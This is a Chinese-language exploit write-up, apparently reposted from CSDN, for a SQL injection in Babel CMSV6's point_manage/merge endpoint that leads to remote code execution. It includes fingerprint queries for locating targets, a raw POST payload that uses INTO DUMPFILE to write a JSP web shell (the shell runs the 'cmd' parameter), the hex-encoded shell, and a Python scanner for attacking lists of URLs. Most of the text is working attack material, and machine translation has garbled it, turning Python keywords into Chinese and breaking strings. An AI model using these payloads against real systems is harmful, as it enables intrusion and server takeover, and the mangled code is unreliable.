免责声明:本文档或演示材料仅用于教育和教育目的,任何利用本文档中的信息进行非法活动的个人或组织与本文档的作者或发布者没有任何关系。
文章目录
漏洞描述漏洞复现测试工具
漏洞描述
Babel CMSV6 7.33.0.7 之前的版本在pointManage 界面中包含注入漏洞,该漏洞可能允许攻击者编写恶意文件并控制系统。
漏洞复现
1)福发搜索:
身体=\’/808gps/\’
icon_hash=\’1784259556\’
随机选择一个可爱的孩子来拜访
2)启用burp抓包
构建数据包。
POST /point_manage/merge HTTP/1.1
User-Agent: Mozilla/5.0(X11;Linux x86_64)AppleWebKit/537.36(KHTML、Gecko 等)Chrome/94.0.2882.93 Safari/537.36
Content-Type: 应用程序/x-www-form-urlencoded
主机:xxx.xxx.xxx
内容长度: 440
id=1name=1\’ ULL ,NULL,NULL,NULL
INTO 转储文件\’././tomcat/webapps/gpsweb/allgods.jsp\’ FROM user_session a
其中“1”=“1 类型=3map_id=4install_place=5check_item=6create_time=7update_time=8
解释:
通过编写恶意SQL语句,将恶意JSP文件上传到服务器的/tomcat/webapps/gpsweb/目录下。文件名为allgods.jsp。如果成功,攻击者就可以访问此JSP 文件并可能执行远程代码。
JSP文件说明:
十六进制编码字符串:
0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c 5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e
解码后的JSP脚本:
%out.print(\’zz010f\’);%%@页面导入=\’java.io.*\’ %
%
字符串shell 路径=\’C:/Program Files (x86)/Tomcat/webapps/gpsweb/allgods.jsp\’;
String cmd=request.getParameter(\’cmd\’);
进程process=Runtime.getRuntime().exec(cmd);
输入流=process.getInputStream();
OutputStream os=response.getOutputStream();
整数c;
while ((c=is.read()) !=-1) {
os.write(c);
}
os.flush();
os.close();
%
代码解释:
%out.print(\’zz010f\’);% 这行代码打印特定的字符串\’zz010f\’,用于检查JSP脚本是否成功运行。 %@ page import=\’java.io.*\’ % 这行代码导入Java I/O 相关的类。 % . % 之间的代码块是JSP 脚本的主体,它定义shell 路径、检索名为cmd 的请求参数并执行命令。接下来,将命令的输出重定向到HTTP 响应。
3)当访问/allgods.jsp时,出现zz010f,SQL注入成功写入该文件。
测试工具
#导入请求库发送网络请求
导入请求
#导入随机库并生成随机字符串
随机导入
#导入字符串库,访问字母、数字等字符串常量。
导入字符串
#导入argparse库用于解析命令行参数
导入参数解析
从urllib3 库导入#Import InsecureRequestWarning 以忽略不安全请求警告
从urllib3.Exceptions 导入InsecureRequestWarning
# 定义红色和重置颜色的终端输出代码
红色=\’\\033[91m\’\”
重置=\’\\033[0m\’
# 忽略requests库发出的不安全请求警告
request.packages.urllib3.disable_warnings(类别=InsecureRequestWarning)
#定义一个函数rand_base,用于生成指定长度的随机字符串
def rand_base(n):
\’\’\’生成一个长度为n的由小写字母和数字组成的随机字符串。 ””
return \’\’.join(random.choices(string.ascii_ lowercase + string.digits, k=n))
# 定义函数check_vulnerability,用于检查指定URL是否存在SQL注入漏洞
def check_vulnerability(url):
\’\’检测URL 是否包含BabelCMSV6 pointManage SQL 注入可写文件RCE 漏洞。 ””
# 生成随机6位字符串作为JSP文件名
文件名=rand_base(6)
# 构建URL 和请求标头以上传恶意JSP 文件
上传网址=url.rstrip(\’/\’) + \’/point_manage/merge\’
上传标头={
\’用户代理\’: \’Mozilla/5.0 . Chrome/94.0.2882.93 Safari/537.36\’, # 用户代理
\’内容类型\’: \’application/x-www-form-urlencoded\’ # 内容类型
}
# 构建SQL注入数据并写入JSP文件
上传数据=(
# 这里我们将创建一系列SQL注入语句,并尝试利用SQL注入漏洞创建JSP文件。
# 包含用于执行远程代码执行(RCE)的恶意JSP代码
f\’id=1name=1\’ 联合选择%0aNULL,0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c6963617469 6 f6e2e6765745265616c5061746828726571756573742e676574536572766c6574 50617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL\’
f\’ INTO 转储文件\’././tomcat/webapps/gpsweb/{filename}.jsp\’ FROM user_session a\’
\’其中\’1\’=\’1type=3map_id=4install_place=5check_item=6create_time=7update_time=8\’
)
尝试:
# 发送POST请求并尝试上传恶意JSP文件
response_upload=request.post(upload_url, headers=upload_headers, data=upload_data.encode(\’utf-8\’), verify=False, timeout=30)
# 构建URL 和请求标头以访问JSP 文件
access_url=url.rstrip(\’/\’) + f\’/{文件名}.jsp\’
访问标头={
\’User-Agent\’: \’Mozilla/5.0 . Chrome/94.0.2882.93 Safari/537.36\’ # 用户代理
}
#发送GET请求访问上传的JSP文件
response_access=request.get(access_url, headers=access_headers, verify=False, timeout=30)
# 根据响应状态码和响应体判断是否存在漏洞
如果response_upload.status_code==200,response_access.status_code==200且response_access.text:\’zz010f\’
print(f\'{RED}URL [{url}] Babel CMSV6 pointManage SQL 注入可写文件RCE 漏洞{RESET}\’)
: 其他
print(f\’URL [{url}] 不存在\’)
除了request.Exceptions.Timeout:
# 如果请求超时,可能存在漏洞
print(f\’URL [{url}] 请求超时。可能存在漏洞\’)
除了requests.RequestException 作为e:
#输出其他请求异常信息
print(f\’URL [{url}] 请求失败: {e}\’)
# 定义一个main函数,用于解析命令行参数并调用check_vulnerability函数。
def main():
\’\’解析命令行参数,并根据参数进行漏洞检测。 ””
# 解析命令行参数
parser=argparse.ArgumentParser(description=\’检测目标地址是否存在Babel CMSV6点管理SQL注入可写文件RCE漏洞\’)
parser.add_argument(\’-u\’, \’–url\’, help=\’指定目标地址\’)
parser.add_argument(\’-f\’, \’–file\’, help=\’指定包含目标地址的文本文件\’)
# 解析参数
args=parser.parse_args()
# 如果指定了URL参数,则查找URL
如果args.url:
第:章
args.url=\’http://\’ + args.url
检查漏洞(args.url)
# 如果指定了file参数,则从文件中读取并发现URL列表。
elif args.file:
使用open(args.file, \’r\’) 作为file:
URL=file.read().splitlines()
对于URL urls:
第:章不是url.startswith(\’http://\’)也不是url.startswith(\’https://\’)
网址=\’http://\’+网址
检查漏洞(网址)
# 程序入口
如果__name__==\’__main__\’:
主要的()
工作流程:
以上#奉天行CMSV6——sql注入漏洞相关内容由网络提供,仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92227.html